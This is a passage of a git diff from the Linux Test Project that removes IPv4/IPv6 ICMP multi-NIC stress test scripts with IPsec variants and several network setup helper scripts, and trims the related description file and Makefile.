History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03 deleted file mode 100644 index 183242e0..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04 deleted file mode 100644 index a640bbc3..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05 deleted file mode 100644 index 50778e2f..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06 deleted file mode 100644 index eb9cba0e..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07 deleted file mode 100644 index 0793381e..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp4-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp4-multi-diffnic07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01 deleted file mode 100644 index 0c2d8417..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic01 - -# The version of IP -IP_VER=6 - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02 deleted file mode 100644 index 7b42012b..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03 deleted file mode 100644 index d91b2ce2..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04 deleted file mode 100644 index b03e81aa..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05 deleted file mode 100644 index 5237988c..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06 deleted file mode 100644 index dfeb7d83..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07 b/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07 deleted file mode 100644 index 142c33ce..00000000 --- a/ltp/testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# icmp6-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending ICMP -# message at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=icmp6-multi-diffnic07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. icmp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/ns-tools/00_Descriptions.txt b/ltp/testcases/network/stress/ns-tools/00_Descriptions.txt index ab9c3ce8..b0fb2188 100644 --- a/ltp/testcases/network/stress/ns-tools/00_Descriptions.txt +++ b/ltp/testcases/network/stress/ns-tools/00_Descriptions.txt @@ -1,73 +1,9 @@ This directory stores the utilities for the network stress tests ==== - -check_envval - Check the environment variable for the network stress test - -get_ifname - Get the interface name which belongs to the specified test link - -initialize_if - Initialize the interface which belongs to the specified test link - -set_ipv4addr - Set an IPv4 address to the interface which belongs to the specified - test link - -add_ipv6addr - Add an IPv6 address to the interface which belongs to the specified - test link - -check_icmpv4_connectivity - Check the ICMPv4 connectivity from a interface to an IPv4 address - -check_icmpv6_connectivity - Check the ICMPv6 connectivity from a interface to a IPv6 address - -check_netem - Check the remote host has netem functionality - -check_setkey - Check the local/remote host has setkey command - create_file Create a file in the specified size -find_portbundle - Find a bundle of consecutive ports - -killall_icmp_traffic - Kill all of the icmp traffic utilities (ping or ping6) - -killall_udp_traffic - Kill all of the udp traffic utilities (ns-udpserver, ns-udpclient) - -killall_tcp_traffic - Kill all of the tcp traffic utilities (ns-tcpserver, ns-tcpclient) - -output_ipsec_conf - Output IPsec configuration - -ns-echoclient - Send various kind of echo request - -ns-udpserver (binary) - UDP traffic server. - Receive UDP datagram from a client, then send it to the client - -ns-udpclient (binary) - UDP traffic client - Send UDP datagram to a server, then receive datagram from it - -ns-tcpserver (binary) - TCP traffic server. - Accept connections from the clients, then send tcp segments to it - -ns-tcpclient (binary) - TCP traffic client - Request connections to the server, then receive tcp segments - ns-icmp_redirector (binary) ICMPv4/ICMPv6 redirect message sender The host under test assume the host where this utility run is a diff --git a/ltp/testcases/network/stress/ns-tools/Makefile b/ltp/testcases/network/stress/ns-tools/Makefile index 5f4d1734..6a1d2724 100644 --- a/ltp/testcases/network/stress/ns-tools/Makefile +++ b/ltp/testcases/network/stress/ns-tools/Makefile @@ -6,12 +6,7 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/env_pre.mk -INSTALL_TARGETS := check_envval get_ifname initialize_if set_ipv4addr \ - add_ipv6addr check_icmpv4_connectivity \ - check_icmpv6_connectivity check_netem check_setkey \ - create_file find_portbundle killall_icmp_traffic \ - killall_tcp_traffic killall_udp_traffic output_ipsec_conf \ - ns-echoclient tst_net_stress.sh +INSTALL_TARGETS := create_file tst_net_stress.sh ns-icmpv4_sender FILTER_OUT_MAKE_TARGETS := ns-common diff --git a/ltp/testcases/network/stress/ns-tools/add_ipv6addr b/ltp/testcases/network/stress/ns-tools/add_ipv6addr deleted file mode 100644 index 98e0e42e..00000000 --- a/ltp/testcases/network/stress/ns-tools/add_ipv6addr +++ /dev/null @@ -1,93 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# add_ipv6addr -# -# Description: -# Add an IPv6 address to the interface which belongs to the specified -# test link -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Arguments: -# $1: target host to add the IPv6 address -# lhost - local host / rhost - remote host -# $2: number of the test link -# $3: network portion of the IPv6 address -# $4: host portion of the IPv6 address -# -# Exit Value: -# 0: Exit normally -# >0: Exit abnormally -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Arguments -if [ $# -ne 4 ]; then - echo "Usage: $0 host_type link_number network_portion host_portion" >&2 - exit 1 -fi -host_type=$1 -link_num=$2 -network_part=$3 -host_part=$4 - -# Check the host type -if [ $host_type != lhost -a $host_type != rhost ]; then - echo "$0: 1st argumet is lhost or rhost" >&2 - exit 1 -fi - -# Define IPv6 address and netmask -addr="${network_part}:${host_part}" -netmask=64 - -# Assign IPv6 address to the interface belongs the nth Test Link -ifname=`get_ifname $host_type $link_num` || exit 1 - -if [ $host_type = lhost ]; then - ifconfig ${ifname} up ; ifconfig ${ifname} add ${addr}/${netmask} - ret=$? -else - ret=`$LTP_RSH $RHOST '( PATH=/sbin:/usr/sbin:$PATH ; ifconfig '${ifname}' up && ifconfig '${ifname}' add '${addr}/${netmask}' ) >/dev/null 2>&1; echo $?'` -fi - -if [ $ret -ne 0 ]; then - echo "Cannot assign $addr to $ifname" >&2 - exit 1 -fi diff --git a/ltp/testcases/network/stress/ns-tools/check_envval b/ltp/testcases/network/stress/ns-tools/check_envval deleted file mode 100644 index e3eda5b0..00000000 --- a/ltp/testcases/network/stress/ns-tools/check_envval +++ /dev/null @@ -1,88 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# check_envval -# -# Description: -# Check the environment variable for the network stress test -# -# Returns: -# 0: All necessary environment variables are set. -# 1: Some variables are not set -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -. cmdlib.sh - -exists cut locale rsh - -# Unset the locale cocerned variables -for env in `locale | cut -f 1 -d '='` ; do - unset $env -done -unset LANGUAGE - -# RHOST -RHOST=${RHOST:=127.0.0.1} -if [ x${RHOST} = x ]; then - tst_resm TBROK "Environment variable RHOST is not set." - exit 1 -fi - -# LHOST_HWADDRS -LHOST_HWADDRS=${LHOST_HWADDRS:=} -if [ x"${LHOST_HWADDRS}" = x ]; then - tst_resm TBROK "Environment variable LHOST_HWADDRS is not set." - exit 1 -fi - -# RHOST_HWADDRS -RHOST_HWADDRS=${RHOST_HWADDRS:=} -if [ x"${RHOST_HWADDRS}" = x ]; then - tst_resm TBROK "Environment variable RHOST_HWADDRS is not set." - exit 1 -fi - -# LTP_RSH -LTP_RSH=${LTP_RSH:=} -if [ x"${LTP_RSH}" = x ]; then - LTP_RSH="rsh -n" -elif [ "$LTP_RSH" = "rsh" ]; then - 